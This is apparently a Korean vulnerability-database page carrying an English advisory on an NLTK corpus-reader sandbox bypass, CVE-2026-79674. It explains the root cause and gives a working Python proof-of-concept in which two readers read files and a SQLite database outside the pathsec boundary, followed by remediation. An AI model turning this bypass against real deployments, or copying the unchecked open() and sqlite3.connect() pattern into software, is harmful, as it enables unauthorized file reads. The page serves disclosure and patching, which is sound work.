CVE-2026-79674HIGHMITRENVDGHSA대응게시일: 2026. 08. 25.수정일: 2026. 09. 08.

NLTK: Corpus Reader Sandbox Bypass

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음

CVSS

—high

이론적 심각도 점수

EPSS

0.2%상위 86.8%

30일 내 악용 확률 예측

KEV

미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

Product: NLTK
Asset / component: nltk.corpus.reader constructors
Version tested: 3.10.2
Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk
Environment used for verification: Python 3.13.14

Vulnerability Details

Vulnerability class: path sandbox bypass / external control of file path
Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root)
Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec
Root affected functions:
Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

text

 1if zipfile:
 2    root = ZipFilePathPointer(zipfile, zipentry)
 3else:
 4    root = FileSystemPathPointer(root)
 5 
 6with open(path) as lin_file:
 7    ...
 8 
 9self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.

sql

 1#!/usr/bin/env python3
 2"""PoC for HY-01: corpus-reader sandbox bypass.
 3 
 4This script proves three facts:
 5- pathsec blocks a direct read through the sandboxed file API
 6- LinThesaurusCorpusReader still reaches builtin open() on an outside path
 7- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
 8"""
 9 
10from __future__ import annotations
11 
12import builtins
13import pathlib
14import sqlite3
15import sys
16import tempfile
17from unittest.mock import patch
18 
19try:
20    import nltk.pathsec as pathsec
21    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
22    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
23except ModuleNotFoundError:
24    here = pathlib.Path(__file__).resolve()
25    for base in (here.parent, *here.parents):
26        if (base / "nltk").is_dir() and (base / "setup.py").exists():
27            sys.path.insert(0, str(base))
28            break
29    else:
30        raise RuntimeError(
31            "Could not import nltk. Run this script from an NLTK checkout root "
32            "or from an environment where the current checkout is installed."
33        )
34 
35    import nltk.pathsec as pathsec
36    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
37    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
38 
39 
40def main() -> int:
41    pathsec.ENFORCE = True
42 
43    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
44        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
45            with tempfile.TemporaryDirectory() as tmp:
46                tmpdir = pathlib.Path(tmp)
47                outside = tmpdir / "outside"
48                outside.mkdir()
49 
50                blocked_file = outside / "blocked.txt"
51                blocked_file.write_text("blocked", encoding="utf-8")
52 
53                control_target = str(blocked_file)
54                try:
55                    with pathsec.open(control_target, "rb"):
56                        raise AssertionError(
57                            "pathsec.open unexpectedly allowed control path"
58                        )
59                except PermissionError:
60                    print("control:pathsec.open=blocked")
61 
62                lin_root = tmpdir / "lin"
63                lin_root.mkdir()
64                lin_file = lin_root / "simN.lsp"
65                lin_file.write_text(
66                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
67                    encoding="utf-8",
68                )
69 
70                opened = []
71                real_open = builtins.open
72 
73                def tracking_open(*args, **kwargs):
74                    opened.append(str(args[0]))
75                    return real_open(*args, **kwargs)
76 
77                with patch("builtins.open", tracking_open):
78                    LinThesaurusCorpusReader(str(lin_root))
79 
80                if any(p.endswith("simN.lsp") for p in opened):
81                    print("lin:outside_root_open=success")
82                else:
83                    raise AssertionError("LinThesaurusCorpusReader did not open data")
84 
85                panlex_root = tmpdir / "panlex"
86                panlex_root.mkdir()
87                db_path = panlex_root / "db.sqlite"
88                db = sqlite3.connect(db_path)
89                cur = db.cursor()
90                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
91                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
92                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
93                cur.execute(
94                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
95                )
96                db.commit()
97                db.close()
98 
99                reader = PanLexLiteCorpusReader(str(panlex_root))
100                result = reader.language_varieties()
101                if result == [("u1", "English")]:
102                    print("panlex:language_varieties=success")
103                else:
104                    raise AssertionError("PanLexLiteCorpusReader did not load data")
105 
106    return 0
107 
108 
109if __name__ == "__main__":
110    raise SystemExit(main())

Expected output:

text

 1control:pathsec.open=blocked
 2lin:outside_root_open=success
 3panlex:language_varieties=success

Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

Base Score: 7.5 (High)
Severity reasoning:
The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.

참고 자료 7

링크 내용 불러오는 중…